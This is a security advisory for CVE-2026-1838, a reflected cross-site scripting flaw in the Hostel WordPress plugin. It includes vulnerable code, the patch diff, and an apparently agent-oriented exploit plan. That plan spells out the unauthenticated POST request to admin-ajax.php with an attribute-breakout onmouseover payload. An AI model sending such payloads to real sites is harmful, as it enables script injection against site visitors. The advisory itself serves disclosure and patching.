CVE-2026-1838

Hostel <= 1.1.6 - Reflected Cross-Site Scripting via 'shortcode_id' Parameter

mediumImproper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
6.1
CVSS Score
6.1
CVSS Score
medium
Severity
1.1.7
Patched in
1d
Time to patch

Description

The Hostel plugin for WordPress is vulnerable to Reflected Cross-Site Scripting via the 'shortcode_id' parameter in all versions up to, and including, 1.1.6 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that execute if they can successfully trick a user into performing an action such as clicking on a link.

CVSS Vector Breakdown

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
Attack Vector
Network
Attack Complexity
Low
Privileges Required
None
User Interaction
Required
Scope
Changed
Low
Confidentiality
Low
Integrity
None
Availability

Technical Details

Affected versions<=1.1.6
PublishedApril 17, 2026
Last updatedApril 18, 2026
Affected pluginhostel

What Changed in the Fix

Changes introduced in v1.1.7

Loading patch diff...

Source Code

WordPress.org SVN
Research Plan
Unverified

This research plan outlines the steps to exploit a Reflected Cross-Site Scripting (XSS) vulnerability in the Hostel plugin for WordPress (version <= 1.1.6). ## 1. Vulnerability Summary The **Hostel** plugin is vulnerable to Reflected XSS via the `shortcode_id` parameter in the `wphostel_ajax` handl…

Show full research plan

This research plan outlines the steps to exploit a Reflected Cross-Site Scripting (XSS) vulnerability in the Hostel plugin for WordPress (version <= 1.1.6).

1. Vulnerability Summary

The Hostel plugin is vulnerable to Reflected XSS via the shortcode_id parameter in the wphostel_ajax handler. The vulnerability exists because the plugin accepts the shortcode_id parameter from a $_POST request, passes it through sanitize_text_field() (which does not escape quotes), and subsequently outputs it within the HTML response of an AJAX request without proper escaping.

The entry point is the wphostel_ajax function in controllers/ajax.php, which is registered for both authenticated and unauthenticated users.

2. Attack Vector Analysis

  • Endpoint: /wp-admin/admin-ajax.php
  • AJAX Action: wphostel_ajax
  • Vulnerable Parameter: shortcode_id
  • Required type Parameter: list_rooms
  • Authentication: Unauthenticated (wp_ajax_nopriv_wphostel_ajax is registered in hostel.php).
  • Preconditions: None. The handler does not verify nonces or capabilities for the list_rooms type.
  • Vector: Reflected XSS via POST request.

3. Code Flow

  1. Entry Point: A request is sent to admin-ajax.php with action=wphostel_ajax.
  2. Dispatch: In hostel.php, the action is hooked:
    add_action('wp_ajax_nopriv_wphostel_ajax', 'wphostel_ajax');
    
  3. Controller: The function wphostel_ajax() in controllers/ajax.php is called.
  4. Switch Logic: The code reaches the list_rooms case:
    case 'list_rooms':
        WPHostelRooms :: availability_table(sanitize_text_field($_POST['shortcode_id']), ...);
    break;
    
    Note: sanitize_text_field() strips HTML tags and line breaks but does not escape double or single quotes, making attribute breakout possible.
  5. Vulnerable Function: WPHostelRooms::availability_table() in controllers/rooms.php receives $shortcode_id.
  6. Sink: The function includes a view template:
    if(@file_exists(get_stylesheet_directory().'/wphostel/partial/rooms-table.html.php')) 
        include get_stylesheet_directory().'/wphostel/partial/rooms-table.html.php';
    else 
        include(WPHOSTEL_PATH."/views/partial/rooms-table.html.php");
    
    Based on the vulnerability description, the view rooms-table.html.php (not provided in full, but inferred) echoes $shortcode_id into an HTML attribute or JavaScript block without further escaping (e.g., esc_attr or esc_js).

4. Nonce Acquisition Strategy

Analysis of controllers/ajax.php confirms that the wphostel_ajax function does not implement any nonce verification for the list_rooms type.

  • No check_ajax_referer or wp_verify_nonce is present in the wphostel_ajax function.
  • No capability check (e.g., current_user_can) is performed for the list_rooms type.

Conclusion: No nonce is required for exploitation.

5. Exploitation Strategy

The goal is to trigger the XSS by injecting a payload into shortcode_id that breaks out of an HTML attribute in the response.

Step-by-Step Plan:

  1. Prepare the Payload: Since sanitize_text_field is used, we cannot use <script> tags. We must use an attribute breakout payload like: 123" onmouseover="alert(1)" data-x=".
  2. Submit POST Request: Use the http_request tool to send a POST request to admin-ajax.php.
  3. Parameters:
    • action: wphostel_ajax
    • type: list_rooms
    • shortcode_id: pwn" onmouseover="alert(document.domain)"
  4. Verify Response: Check the response body for the unescaped payload.

HTTP Request Details:

  • URL: http://<target>/wp-admin/admin-ajax.php
  • Method: POST
  • Headers: Content-Type: application/x-www-form-urlencoded
  • Body: action=wphostel_ajax&type=list_rooms&shortcode_id=pwn%22+onmouseover%3D%22alert%28document.domain%29%22

6. Test Data Setup

To ensure the availability_table executes correctly and the view is rendered:

  1. Create a Room: Use WP-CLI to create at least one hostel room.
    # Example of creating a room to populate the table
    wp db query "INSERT INTO wp_hostel_rooms (title, price, rtype, price_type, beds) VALUES ('Deluxe Room', 50, 'private', 'per-room', 2);"
    
  2. Verify Table Name: Ensure the table prefix matches (wp_hostel_rooms).

7. Expected Results

A successful exploit will return an AJAX response (HTML) where the shortcode_id is reflected inside an attribute.
Example expected output fragment:

<table id="wphostel-rooms-pwn" onmouseover="alert(document.domain)">
...

8. Verification Steps

After performing the http_request, verify the following:

  1. The HTTP response code is 200 OK.
  2. The response body contains the string onmouseover="alert(document.domain)".
  3. The double quote character " is not encoded as &quot;.

9. Alternative Approaches

If the list_rooms type does not reflect the input as expected, analyze controllers/ajax.php for other types:

  • type: load_booking_form: This type also takes $_POST['room_id'] and calls WPHostelShortcodes::booking("roomID".intval($_POST['room_id'])). Since it uses intval, it is not vulnerable to XSS.
  • type: change_room: Calls WPHostelRooms::default_beds(), which uses intval($_POST['room_id']). Not vulnerable.

The list_rooms type remains the most viable target due to the direct use of $_POST['shortcode_id'].

Research Findings
Static analysis — not yet PoC-verified

Summary

The Hostel plugin for WordPress is vulnerable to Reflected Cross-Site Scripting via the 'shortcode_id' parameter in the AJAX handler for versions up to 1.1.6. This occurs because the plugin uses sanitize_text_field() which fails to prevent attribute breakout, allowing unauthenticated attackers to inject arbitrary web scripts into pages.

Vulnerable Code

// controllers/ajax.php line 25-27
		case 'list_rooms':			
			WPHostelRooms :: availability_table(sanitize_text_field($_POST['shortcode_id']), array('show_titles' => sanitize_text_field($_POST['show_titles'] ?? '')));
		break;

---

// controllers/rooms.php line 83-125
	static function availability_table($shortcode_id, $atts = null) {
		global $wpdb;
		
		$_room = new WPHostelRoom();
		$_booking = new WPHostelBooking();
        // ... (logic to calculate availability) ...
		
		if(@file_exists(get_stylesheet_directory().'/wphostel/partial/rooms-table.html.php')) include get_stylesheet_directory().'/wphostel/partial/rooms-table.html.php';
		else include(WPHOSTEL_PATH."/views/partial/rooms-table.html.php");
	}

Security Fix

--- /home/deploy/wp-safety.org/data/plugin-versions/hostel/1.1.6/controllers/ajax.php	2025-03-25 16:46:56.000000000 +0000
+++ /home/deploy/wp-safety.org/data/plugin-versions/hostel/1.1.7/controllers/ajax.php	2026-03-09 15:20:08.000000000 +0000
@@ -1,10 +1,13 @@
 <?php
 // procedural function to dispatch ajax requests
 function wphostel_ajax() {
-	global $wpdb, $user_ID;	
-	
-	$type = empty($_POST['type']) ? $_GET['type'] : $_POST['type'];	
-		
+	global $wpdb, $user_ID;
+
+	// Verify nonce for security
+	check_ajax_referer('wphostel_ajax_nonce', 'nonce');
+
+	$type = empty($_POST['type']) ? $_GET['type'] : $_POST['type'];
+
 	switch($type) {
 		case 'change_room':
 			WPHostelRooms :: default_beds();
@@ -22,10 +25,16 @@
 			$_GET['in_booking_mode'] = 1;
 			$_GET['from_date'] = sanitize_text_field($_POST['from_date']);
 			$_GET['to_date'] = sanitize_text_field($_POST['to_date']);
-			echo WPHostelShortcodes :: booking("roomID".intval($_POST['room_id']));
+			echo wp_kses_post(WPHostelShortcodes :: booking("roomID".intval($_POST['room_id'])));
 		break;
-		case 'list_rooms':			
-			WPHostelRooms :: availability_table(sanitize_text_field($_POST['shortcode_id']), array('show_titles' => sanitize_text_field($_POST['show_titles'] ?? '')));
+		case 'list_rooms':
+			// Validate and sanitize shortcode_id - must be alphanumeric with underscores/hyphens only
+			$shortcode_id = sanitize_text_field($_POST['shortcode_id'] ?? '');
+			if (!preg_match('/^[a-zA-Z0-9_-]+$/', $shortcode_id)) {
+				wp_send_json_error('Invalid shortcode ID');
+			}
+			$show_titles = sanitize_text_field($_POST['show_titles'] ?? '');
+			WPHostelRooms :: availability_table($shortcode_id, array('show_titles' => $show_titles));
 		break;
 	}
 	exit;

Exploit Outline

The exploit targets the `wphostel_ajax` action, which is registered for unauthenticated users via `wp_ajax_nopriv_wphostel_ajax`. An attacker crafts a POST request to `/wp-admin/admin-ajax.php` with the parameters `action=wphostel_ajax`, `type=list_rooms`, and `shortcode_id`. Because `sanitize_text_field()` does not strip double quotes, the attacker can use a payload like `123" onmouseover="alert(1)"` to break out of an HTML attribute in the resulting rooms table view. No nonce or authentication is required in the vulnerable version, making this exploit accessible to unauthenticated remote attackers who can trick a user into submitting the request (e.g., via a cross-site request).

Check if your site is affected.

Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.